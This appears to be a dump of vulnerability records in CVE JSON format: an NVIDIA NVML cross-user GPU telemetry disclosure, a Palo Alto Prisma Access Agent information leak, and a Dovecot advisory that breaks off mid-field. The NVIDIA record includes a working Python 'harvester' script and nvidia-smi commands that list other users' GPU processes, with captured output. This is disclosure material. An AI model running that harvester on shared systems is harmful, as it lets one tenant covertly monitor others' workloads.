CWE-200

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linux GPU",
          "vendor": "Nvidia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abhinav Agarwal"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-276",
              "description": "CWE-276",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:52:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/77"
        },
        {
          "url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/77"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2018-6260",
              "type": "related"
            },
            {
              "destId": "CVE-2021-1056",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0298",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
            "automated": true,
            "contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-22T19:37:52Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0298"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T11:40:48Z",
    "dateUpdated": "2026-09-11T11:52:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0298"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0245",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-13T19:18:04.747052Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-13T19:30:22.868Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "platforms": [
            "macOS",
            "Windows"
          ],
          "product": "Prisma Access Agent",
          "vendor": "Palo Alto Networks",
          "versions": [
            {
              "changes": [
                {
                  "at": "26.2.1",
                  "status": "unaffected"
                }
              ],
              "lessThan": "26.2.1",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "platforms": [
            "Linux",
            "Android",
            "ChromeOS",
            "iOS"
          ],
          "product": "Prisma Access Agent",
          "vendor": "Palo Alto Networks",
          "versions": [
            {
              "status": "unaffected",
              "version": "All",
              "versionType": "custom"
            }
          ]
        }
      ],
      "configurations": [
        {
          "lang": "eng",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eNo special configuration is required.\u003c/p\u003e"
            }
          ],
          "value": "No special configuration is required."
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:macos:*:*:*:*:*",
                  "versionEndExcluding": "26.2.1",
                  "versionStartIncluding": "0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:windows:*:*:*:*:*",
                  "versionEndExcluding": "26.2.1",
                  "versionStartIncluding": "0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            },
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:prisma_access_agent:all:*:linux:*:*:*:*:*",
                  "vulnerable": false
                },
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:prisma_access_agent:all:*:android:*:*:*:*:*",
                  "vulnerable": false
                },
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:prisma_access_agent:all:*:chromeos:*:*:*:*:*",
                  "vulnerable": false
                },
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:prisma_access_agent:all:*:ios:*:*:*:*:*",
                  "vulnerable": false
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ],
          "operator": "OR"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "other",
          "value": "Palo Alto Networks thanks our internal security research teams for discovering and reporting this issue."
        }
      ],
      "datePublic": "2026-05-13T16:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eMultiple information disclosure vulnerabilities in Prisma Access Agent\u00ae allow a local user to access sensitive configuration data and credentials.\u003c/p\u003e\u003cp\u003eThe Prisma Access Agent on Linux, ChromeOS, Android, and iOS are not affected.\u003c/p\u003e"
            }
          ],
          "value": "Multiple information disclosure vulnerabilities in Prisma Access Agent\u00ae allow a local user to access sensitive configuration data and credentials.\n\n\n\nThe Prisma Access Agent on Linux, ChromeOS, Android, and iOS are not affected."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003ePalo Alto Networks is not aware of any malicious exploitation of these issues.\u003c/p\u003e"
            }
          ],
          "value": "Palo Alto Networks is not aware of any malicious exploitation of these issues."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-118",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-118 Collect and Analyze Information"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NO",
            "Recovery": "USER",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "UNREPORTED",
            "privilegesRequired": "LOW",
            "providerUrgency": "AMBER",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "CONCENTRATED",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:U/AU:N/R:U/V:C/RE:L/U:Amber",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "LOW"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-13T18:54:09.052Z",
        "orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
        "shortName": "palo_alto"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://security.paloaltonetworks.com/CVE-2026-0245"
        }
      ],
      "solutions": [
        {
          "lang": "eng",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ctable class=\"tbl\"\u003e\u003ctr\u003e\u003ctd\u003eVersion\u003c/td\u003e\u003ctd\u003eMinor Version\u003c/td\u003e\u003ctd\u003eSuggested Solution\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access Agent on Windows\u003c/td\u003e\u003ctd\u003e24.0 through 26.2\u003c/td\u003e\u003ctd\u003eUpgrade to 26.2.1 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access Agent on macOS\u003c/td\u003e\u003ctd\u003e24.0 through 26.2\u003c/td\u003e\u003ctd\u003eUpgrade to 26.2.1  or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access Agent on Linux\u003c/td\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eNo action needed\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access Agent on Android\u003c/td\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eNo action needed\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access Agent on Chrome OS\u003c/td\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eNo action needed\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access Agent on iOS\u003c/td\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eNo action needed\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e"
            }
          ],
          "value": "Version  Minor Version  Suggested Solution\nPrisma Access Agent on Windows  24.0 through 26.2  Upgrade to 26.2.1 or later.\nPrisma Access Agent on macOS  24.0 through 26.2  Upgrade to 26.2.1  or later.\nPrisma Access Agent on Linux    No action needed\nPrisma Access Agent on Android    No action needed\nPrisma Access Agent on Chrome OS    No action needed\nPrisma Access Agent on iOS    No action needed"
        }
      ],
      "source": {
        "discovery": "INTERNAL"
      },
      "timeline": [
        {
          "lang": "en",
          "time": "2026-05-13T16:00:00.000Z",
          "value": "Initial publication."
        }
      ],
      "title": "Prisma Access Agent: Information Disclosure Vulnerabilities",
      "workarounds": [
        {
          "lang": "eng",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eNo known workarounds exist for this issue.\u003c/p\u003e"
            }
          ],
          "value": "No known workarounds exist for this issue."
        }
      ],
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
    "assignerShortName": "palo_alto",
    "cveId": "CVE-2026-0245",
    "datePublished": "2026-05-13T18:54:09.052Z",
    "dateReserved": "2025-11-03T20:44:06.215Z",
    "dateUpdated": "2026-05-13T19:30:22.868Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Advisory",
          "vendor": "Dovecot",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Aki Tuomi"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dear subscribers,\n\nwe\u0027re sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those \nvulnerabilities. This advisory is also published at \nhttps://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html\n\n\n---\n\n\nClassification: TLP:GREEN\n\nInternal reference: DOV-7830\nType: CWE-1250 (Improper Preservation of Consistency Between Independent Representations of Shared State)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.1\nDiscovery date: 2025-07-24\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: Erik  \u003cerik () broadlux com\u003e\nCVE: CVE-2025-30189\nCVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\nDetails:\nv2.4 regression: auth cache broken with several passdb / userdb. When cache is enabled, some passdb/userdb drivers \nincorrectly cache all users with same cache key, causing wrong cached information to be used for these users.\n\nRisk:\nAfter cached login, all subsequent logins are for same user. No publicly available exploits are known.\n\nSolution:\nInstall fixed version or disable caching either globally or for the impacted passdb/userdb drivers.\n\n\n\n---\n\n\n\nInternal reference: DOV-8349\nType: CWE-20 (Improper Input Validation)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot Pro core 3.1.2, OX Dovecot CE core 2.4.3\nDiscovery date: 2025-11-04\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nCVE: CVE-2025-59028\nCVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nInvalid base64 authentication can cause DoS for other logins. When sending invalid base64 SASL data, login process is \ndisconnected from the auth server, causing all active authentication sessions to fail.\n\nRisk:\nInvalid BASE64 data can be used to DoS a vulnerable server to break concurrent logins. No publicly available exploits \nare known.\n\nSolution:\nInstall fixed version or disable concurrency in login processes (heavy perfomance penalty on large deployments).\n\n\n\n---\n\n\n\nInternal reference: DOV-8508\nType: CWE-20 (Improper Input Validation)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.3\nDiscovery date: 2025-11-29\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nCVE: CVE-2025-59032\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nv2.4/v3.1 regression: Pigeonhole: ManageSieve panic occurs with sieve-connect as a client. ManageSieve AUTHENTICATE \ncommand crashes when using literal as SASL initial response.\n\nRisk:\nThis can be used to crash ManageSieve service repeatedly, making it unavailable for other users. No publicly available \nexploits are known.\n\nSolution:\nControl access to ManageSieve port, or disable the service if it\u0027s not needed. Alternatively upgrade to a fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8584\nType: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.3, OX Dovecot Pro core 2.3.22.1\nDiscovery date: 2025-12-29\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: cavid@yeswehack\nCVE: CVE-2025-59031\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)\n\nDetails:\ndecode2text.sh OOXML extraction may follow symlinks and read unintended files during indexing. Dovecot has provided a \nscript to use for attachment to text conversion. This script unsafely handles zip-style attachments.\n\nRisk:\nAttacker can use specially crafted OOXML documents to cause unintended files on the system to be indexed and \nsubsequently ending up in FTS indexes. No publicly available exploits are known.\n\nSolution:\nDo not use the provided script, instead, use something else like FTS tika.\n\n\n\n---\n\n\n\nInternal reference: DOV-8591\nType: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nDiscovery date: 2026-01-07\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: strokep@yeswehack\nCVE: CVE-2026-0394\nCVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\nDetails:\nauth: Path traversal in passwd-file passdb using `%d` (domain) escapes base directory and opens `/etc/passwd`Pre-auth \npath traversal in passwd-file passdb using `%d` (domain) escapes base directory and opens `/etc/passwd`. When dovecot \nhas been configured to use per-domain passwd files, and they are placed one path component above /etc, or slash has \nbeen added to allowed characters, path traversal can happen if the domain component is directory partial.\n\nRisk:\nThis allows inadvertently reading /etc/passwd (or some other path which ends with passwd). If this file contains \npasswords, it can be used to authenticate wrongly, or if this is userdb, it can unexpectly make system users appear \nvalid users.  No publicly available exploits are known.\n\nSolution:\nUpgrade to fixed version, or use different authentication scheme that does not rely on paths. Alternatively you can \nalso ensure that the per-domain passwd files are in some other location, such as /etc/dovecot/auth/%d.\n\n\n\n---\n\n\n\nInternal reference: DOV-8775\nType: CWE-90 (Improper Neutralization of Special Elements used in an LDAP Query (\u0027LDAP Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4\nDiscovery date: 2026-02-20\nSolution date: 2026-03-27\nDisclosure date: 